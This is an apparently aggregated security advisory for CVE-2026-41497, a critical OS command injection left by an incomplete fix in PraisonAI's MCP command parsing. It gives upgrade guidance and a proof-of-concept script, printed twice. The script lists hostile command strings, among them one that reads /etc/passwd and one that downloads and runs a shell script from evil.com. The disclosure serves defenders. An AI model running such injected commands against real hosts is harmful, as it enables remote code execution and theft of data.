CVE-2026-41497: Praisonai PraisonAI Has An Incomplete Fix Vulnerability

CRITICAL
Advisory Identifier: GHSA-9qhq-v63v-fv3j
CVSS 9.8
CWE-78 CWE-77
Published
Advisory Summary

CVE-2026-41497 is a CRITICAL (CVSS 9.8) praisonai has an incomplete fix vulnerability (CWE-78: Improper Neutralization of Special Elements used in an OS Command ('OS Command Injection')) affecting Praisonai libraries in the PyPI ecosystem. The issue involves praisonai has an incomplete fix for cve-2026-34935 - os command injection. Remediation is available by upgrading affected packages to version 4.5.149.

CVE-2026-41497 at a Glance

CVE Identifier CVE-2026-41497
GHSA Identifier GHSA-9qhq-v63v-fv3j
Severity CRITICAL
CVSS v3.1 Base Score 9.8
CWE Classification CWE-78: Improper Neutralization of Special Elements used in an OS Command ('OS Command Injection')
Affected Product Praisonai
Package Ecosystem PyPI
Published Date
Last Updated

Security Impact

CVSS: 9.8

The security impact metrics below are parsed directly from the CVSS v3.1 vector string (CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H).

Attack Vector Network (AV:N)
Attack Complexity Low (AC:L)
Privileges Required None (PR:N)
User Interaction None (UI:N)
Scope Unchanged (S:U)
Confidentiality High (C:H)
Integrity High (I:H)
Availability High (A:H)

How to Fix CVE-2026-41497

To remediate this vulnerability, upgrade all affected Praisonai dependencies to a patched release. Both direct and transitive dependencies should be checked, as frameworks or security libraries may pull in vulnerable versions transitively.

praisonai fixed: 4.5.149
pip install praisonai>=4.5.149
Verify Direct and Transitive Dependencies

Run the following command in your project directory to verify that all resolved dependencies use the patched release:

pip show praisonai

How to Check if You Are Affected

To determine whether your Python environment is affected by CVE-2026-41497, inspect your installed packages using pip:

pip show praisonai

Analyze the terminal output to locate any version of Praisonai in your dependency tree. If any resolved version matches the vulnerable ranges listed in the table below (for example, versions earlier than 4.5.149), your application is affected.

Note: The pip show praisonai command checks currently installed packages in your active Python environment.

Technical Details

Vulnerability Mechanism & Technical Analysis

This vulnerability is classified under CWE-78: Improper Neutralization of Special Elements used in an OS Command ('OS Command Injection'), where the product constructs all or part of an os command using externally-influenced input from an upstream component, but it does not neutralize or incorrectly neutralizes special elements that could modify the intended os command when it is sent to a downstream component. In Praisonai, software state validation or input boundaries are circumvented during processing. Review the official source advisory statement below for specific affected components, classes, and reproduction details.

Source Advisory Statement

### Summary The fix for PraisonAI's MCP command handling does not add a command allowlist or argument validation to `parse_mcp_command()`, allowing arbitrary executables like `bash`, `python`, or `/bin/sh` with inline code execution flags to pass through to subprocess execution. ### Affected Package - **Ecosystem:** PyPI - **Package:** MervinPraison/PraisonAI - **Affected versions:** < 47bff65413be - **Patched versions:** >= 47bff65413be ### Details The vulnerability exists in `src/praisonai/praisonai/cli/features/mcp.py` in the `MCPHandler.parse_mcp_command()` method. This function parses MCP server command strings into executable commands, arguments, and environment variables. The pre-patch version performs no validation on the executable or arguments. The fix commit `47bff654` was intended to address command injection, but the patched `parse_mcp_command()` still lacks three critical controls: there is no `ALLOWED_COMMANDS` allowlist of permitted executables (e.g., `npx`, `uvx`, `node`, `python`), there is no `os.path.basename()` validation to prevent path-based executable injection, and there is no argument inspection to block shell metacharacters or dangerous subcommands. Malicious MCP server commands such as `python -c 'import os; os.system("id")'`, `bash -c 'cat /etc/passwd'`, and `/bin/sh -c 'wget http://evil.com/shell.sh | sh'` are all accepted by `parse_mcp_command()` and passed directly to subprocess execution without filtering. ### PoC ```python #!/usr/bin/env python3 """ CVE-2026-34935 - PraisonAI command injection via parse_mcp_command() Tests against REAL PraisonAI mcp.py from git at commit 66bd9ee2 (parent of fix 47bff654). The pre-patch parse_mcp_command() performs NO validation on the executable or arguments, allowing arbitrary command execution via MCP server commands. Repo: https://github.com/MervinPraison/PraisonAI Patch commit: 47bff65413beaa3c21bf633c1fae4e684348368c """ import sys import os import importlib.util # Load the REAL mcp.py from the cloned PraisonAI repo at vulnerable commit MCP_PATH = "/tmp/praisonai_real/src/praisonai/praisonai/cli/features/mcp.py" def load_mcp_handler(): """Load the real MCPHandler class from the vulnerable source.""" base_path = "/tmp/praisonai_real/src/praisonai/praisonai/cli/features/base.py" spec_base = importlib.util.spec_from_file_location("features_base", base_path) mod_base = importlib.util.module_from_spec(spec_base) sys.modules["features_base"] = mod_base with open(MCP_PATH) as f: source = f.read() source = source.replace("from .base import FlagHandler", """ class FlagHandler: def print_status(self, msg, level="info"): print(f"[{level}] {msg}") """) ns = {"__name__": "mcp_module", "__file__": MCP_PATH} exec(compile(source, MCP_PATH, "exec"), ns) return ns["MCPHandler"] def main(): MCPHandler = load_mcp_handler() handler = MCPHandler() print(f"Source file: {MCP_PATH}") print(f"Loaded MCPHandler from real PraisonAI source") print() malicious_commands = [ "python -c 'import os; os.system(\"id\")'", "node -e 'require(\"child_process\").execSync(\"whoami\")'", "bash -c 'cat /etc/passwd'", "/bin/sh -c 'wget http://evil.com/shell.sh | sh'", ] print("Testing parse_mcp_command with malicious inputs:") print() all_accepted = True for cmd_str in malicious_commands: try: cmd, args, env = handler.parse_mcp_command(cmd_str) print(f" Input: {cmd_str}") print(f" Command: {cmd}") print(f" Args: {args}") print(f" Result: ACCEPTED (no validation)") print() except Exception as e: print(f" Input: {cmd_str}") print(f" Result: REJECTED ({e})") all_accepted = False print() if all_accepted: print("ALL malicious commands accepted without validation!") print() with open(MCP_PATH) as f: source = f.read() has_allowlist = "ALLOWED_COMMANDS" in source or "allowlist" in source.lower() has_basename_check = "os.path.basename" in source has_validation = has_allowlist or has_basename_check print(f"Has command allowlist: {has_allowlist}") print(f"Has basename check: {has_basename_check}") print(f"Has any command validation: {has_validation}") print() if not has_validation: print("COMMAND INJECTION: parse_mcp_command() has NO command validation!") print(" - No allowlist of permitted executables") print(" - No argument inspection") print(" - Arbitrary commands passed directly to subprocess execution") print() print("VULNERABILITY CONFIRMED") sys.exit(0) print("Some commands were rejected - validation present") sys.exit(1) if __name__ == "__main__": main() ``` **Steps to reproduce:** 1. `git clone https://github.com/MervinPraison/PraisonAI /tmp/praisonai_real` 2. `cd /tmp/praisonai_real && git checkout 47bff654~1` 3. `python3 poc.py` **Expected output:** ``` VULNERABILITY CONFIRMED parse_mcp_command() has NO command validation; arbitrary commands passed directly to subprocess execution without an allowlist. ``` ### Impact An attacker who can influence MCP server configuration (e.g., via a malicious plugin or shared configuration file) can execute arbitrary system commands on the host running PraisonAI, enabling full remote code execution, data exfiltration, and lateral movement. ### Suggested Remediation Implement a strict allowlist of permitted executables (e.g., `npx`, `uvx`, `node`, `python`) in `parse_mcp_command()`. Validate commands against `os.path.basename()` to prevent absolute path injection. Inspect arguments for shell metacharacters and dangerous subcommand patterns (e.g., `-c`, `-e` flags enabling inline code execution).

CVE-2026-41497 Affected Praisonai Versions

1 component(s)
Fixed Versions:
4.5.149
Product / Package Ecosystem Affected Versions Fixed Version
praisonai
PyPI
< 4.5.149
4.5.149

References

Frequently Asked Questions

What is CVE-2026-41497?
CVE-2026-41497 is a security vulnerability in Praisonai involving PraisonAI has an incomplete fix for CVE-2026-34935 - OS Command Injection under CWE-78: Improper Neutralization of Special Elements used in an OS Command ('OS Command Injection').
Which Praisonai versions are affected?
Affected versions include releases prior to 4.5.149 across affected packages: praisonai.
What version fixes CVE-2026-41497?
Upgrading to 4.5.149 (or the latest patched release for your respective branch) resolves the vulnerability.
Is praisonai affected?
Yes, praisonai is affected in releases prior to 4.5.149. Upgrade your dependency to 4.5.149 or later.
What is the CVSS score of CVE-2026-41497?
CVE-2026-41497 has a CVSS v3.1 base score of 9.8 (CRITICAL) with vector string CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H.
What CWE is associated with CVE-2026-41497?
CVE-2026-41497 is classified under CWE-78: Improper Neutralization of Special Elements used in an OS Command ('OS Command Injection') (The product constructs all or part of an OS command using externally-influenced input from an upstream component, but it does not neutralize or incorrectly neutralizes special elements that could modify the intended OS command when it is sent to a downstream component.).
How can I check PyPI dependencies for CVE-2026-41497?
Run the dependency tree command: 'pip show praisonai'. This command lists direct and transitive dependencies in your build configuration so you can verify if a vulnerable version is resolved.
Machine-readable OSV JSON OSV v1.5 Schema
Normalized schema output
{
  "schema_version" : "1.4.0",
  "id" : "GHSA-9qhq-v63v-fv3j",
  "modified" : "2026-05-12T13:31:53Z",
  "published" : "2026-04-17T22:23:50Z",
  "aliases" : [ "CVE-2026-41497" ],
  "summary" : "PraisonAI has an incomplete fix for CVE-2026-34935 - OS Command Injection ",
  "details" : "### Summary\n\nThe fix for PraisonAI's MCP command handling does not add a command allowlist or argument validation to `parse_mcp_command()`, allowing arbitrary executables like `bash`, `python`, or `/bin/sh` with inline code execution flags to pass through to subprocess execution.\n\n### Affected Package\n\n- **Ecosystem:** PyPI\n- **Package:** MervinPraison/PraisonAI\n- **Affected versions:** < 47bff65413be\n- **Patched versions:** >= 47bff65413be\n\n### Details\n\nThe vulnerability exists in `src/praisonai/praisonai/cli/features/mcp.py` in the `MCPHandler.parse_mcp_command()` method. This function parses MCP server command strings into executable commands, arguments, and environment variables. The pre-patch version performs no validation on the executable or arguments.\n\nThe fix commit `47bff654` was intended to address command injection, but the patched `parse_mcp_command()` still lacks three critical controls: there is no `ALLOWED_COMMANDS` allowlist of permitted executables (e.g., `npx`, `uvx`, `node`, `python`), there is no `os.path.basename()` validation to prevent path-based executable injection, and there is no argument inspection to block shell metacharacters or dangerous subcommands.\n\nMalicious MCP server commands such as `python -c 'import os; os.system(\"id\")'`, `bash -c 'cat /etc/passwd'`, and `/bin/sh -c 'wget http://evil.com/shell.sh | sh'` are all accepted by `parse_mcp_command()` and passed directly to subprocess execution without filtering.\n\n### PoC\n\n```python\n#!/usr/bin/env python3\n\"\"\"\nCVE-2026-34935 - PraisonAI command injection via parse_mcp_command()\n\nTests against REAL PraisonAI mcp.py from git at commit 66bd9ee2 (parent of fix 47bff654).\nThe pre-patch parse_mcp_command() performs NO validation on the executable or\narguments, allowing arbitrary command execution via MCP server commands.\n\nRepo: https://github.com/MervinPraison/PraisonAI\nPatch commit: 47bff65413beaa3c21bf633c1fae4e684348368c\n\"\"\"\n\nimport sys\nimport os\nimport importlib.util\n\n# Load the REAL mcp.py from the cloned PraisonAI repo at vulnerable commit\nMCP_PATH = \"/tmp/praisonai_real/src/praisonai/praisonai/cli/features/mcp.py\"\n\ndef load_mcp_handler():\n    \"\"\"Load the real MCPHandler class from the vulnerable source.\"\"\"\n    base_path = \"/tmp/praisonai_real/src/praisonai/praisonai/cli/features/base.py\"\n\n    spec_base = importlib.util.spec_from_file_location(\"features_base\", base_path)\n    mod_base = importlib.util.module_from_spec(spec_base)\n    sys.modules[\"features_base\"] = mod_base\n\n    with open(MCP_PATH) as f:\n        source = f.read()\n\n    source = source.replace(\"from .base import FlagHandler\", \"\"\"\nclass FlagHandler:\n    def print_status(self, msg, level=\"info\"):\n        print(f\"[{level}] {msg}\")\n\"\"\")\n\n    ns = {\"__name__\": \"mcp_module\", \"__file__\": MCP_PATH}\n    exec(compile(source, MCP_PATH, \"exec\"), ns)\n    return ns[\"MCPHandler\"]\n\n\ndef main():\n    MCPHandler = load_mcp_handler()\n    handler = MCPHandler()\n\n    print(f\"Source file: {MCP_PATH}\")\n    print(f\"Loaded MCPHandler from real PraisonAI source\")\n    print()\n\n    malicious_commands = [\n        \"python -c 'import os; os.system(\\\"id\\\")'\",\n        \"node -e 'require(\\\"child_process\\\").execSync(\\\"whoami\\\")'\",\n        \"bash -c 'cat /etc/passwd'\",\n        \"/bin/sh -c 'wget http://evil.com/shell.sh | sh'\",\n    ]\n\n    print(\"Testing parse_mcp_command with malicious inputs:\")\n    print()\n\n    all_accepted = True\n    for cmd_str in malicious_commands:\n        try:\n            cmd, args, env = handler.parse_mcp_command(cmd_str)\n            print(f\"  Input:   {cmd_str}\")\n            print(f\"  Command: {cmd}\")\n            print(f\"  Args:    {args}\")\n            print(f\"  Result:  ACCEPTED (no validation)\")\n            print()\n        except Exception as e:\n            print(f\"  Input:   {cmd_str}\")\n            print(f\"  Result:  REJECTED ({e})\")\n            all_accepted = False\n            print()\n\n    if all_accepted:\n        print(\"ALL malicious commands accepted without validation!\")\n        print()\n\n        with open(MCP_PATH) as f:\n            source = f.read()\n\n        has_allowlist = \"ALLOWED_COMMANDS\" in source or \"allowlist\" in source.lower()\n        has_basename_check = \"os.path.basename\" in source\n        has_validation = has_allowlist or has_basename_check\n\n        print(f\"Has command allowlist: {has_allowlist}\")\n        print(f\"Has basename check: {has_basename_check}\")\n        print(f\"Has any command validation: {has_validation}\")\n        print()\n\n        if not has_validation:\n            print(\"COMMAND INJECTION: parse_mcp_command() has NO command validation!\")\n            print(\"  - No allowlist of permitted executables\")\n            print(\"  - No argument inspection\")\n            print(\"  - Arbitrary commands passed directly to subprocess execution\")\n            print()\n            print(\"VULNERABILITY CONFIRMED\")\n            sys.exit(0)\n\n    print(\"Some commands were rejected - validation present\")\n    sys.exit(1)\n\n\nif __name__ == \"__main__\":\n    main()\n```\n\n**Steps to reproduce:**\n1. `git clone https://github.com/MervinPraison/PraisonAI /tmp/praisonai_real`\n2. `cd /tmp/praisonai_real && git checkout 47bff654~1`\n3. `python3 poc.py`\n\n**Expected output:**\n```\nVULNERABILITY CONFIRMED\nparse_mcp_command() has NO command validation; arbitrary commands passed directly to subprocess execution without an allowlist.\n```\n\n### Impact\n\nAn attacker who can influence MCP server configuration (e.g., via a malicious plugin or shared configuration file) can execute arbitrary system commands on the host running PraisonAI, enabling full remote code execution, data exfiltration, and lateral movement.\n\n### Suggested Remediation\n\nImplement a strict allowlist of permitted executables (e.g., `npx`, `uvx`, `node`, `python`) in `parse_mcp_command()`. Validate commands against `os.path.basename()` to prevent absolute path injection. Inspect arguments for shell metacharacters and dangerous subcommand patterns (e.g., `-c`, `-e` flags enabling inline code execution).",
  "severity" : [ {
    "type" : "CVSS_V3",
    "score" : "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H"
  } ],
  "affected" : [ {
    "package" : {
      "ecosystem" : "PyPI",
      "name" : "praisonai"
    },
    "ranges" : [ {
      "type" : "ECOSYSTEM",
      "events" : [ {
        "introduced" : "0"
      }, {
        "fixed" : "4.5.149"
      } ]
    } ],
    "database_specific" : {
      "last_known_affected_version_range" : "<= 4.5.148"
    }
  } ],
  "references" : [ {
    "type" : "WEB",
    "url" : "https://github.com/MervinPraison/PraisonAI/security/advisories/GHSA-9qhq-v63v-fv3j"
  }, {
    "type" : "ADVISORY",
    "url" : "https://nvd.nist.gov/vuln/detail/CVE-2026-34935"
  }, {
    "type" : "ADVISORY",
    "url" : "https://nvd.nist.gov/vuln/detail/CVE-2026-41497"
  }, {
    "type" : "WEB",
    "url" : "https://github.com/MervinPraison/PraisonAI/commit/47bff65413beaa3c21bf633c1fae4e684348368c"
  }, {
    "type" : "PACKAGE",
    "url" : "https://github.com/MervinPraison/PraisonAI"
  } ],
  "database_specific" : {
    "cwe_ids" : [ "CWE-77", "CWE-78" ],
    "severity" : "CRITICAL",
    "github_reviewed" : true,
    "github_reviewed_at" : "2026-04-17T22:23:50Z",
    "nvd_published_at" : "2026-05-08T14:16:33Z"
  }
}